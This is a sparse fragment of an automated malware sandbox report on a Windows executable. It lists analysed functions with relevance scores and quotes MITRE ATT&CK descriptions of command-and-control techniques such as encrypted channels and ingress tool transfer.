Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
s31ydU1MpQ.exe

Function 00C9B0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Function 00C8DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 00C8DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Function 051A0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 051A0D41 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 051A1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 051A1509 Relevance: 1.6, APIs: 1, Instructions: 52
serviceCOMMON

Function 051A1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 051A1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00C9BFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Function 00B0E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Function 00B0F1B6 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre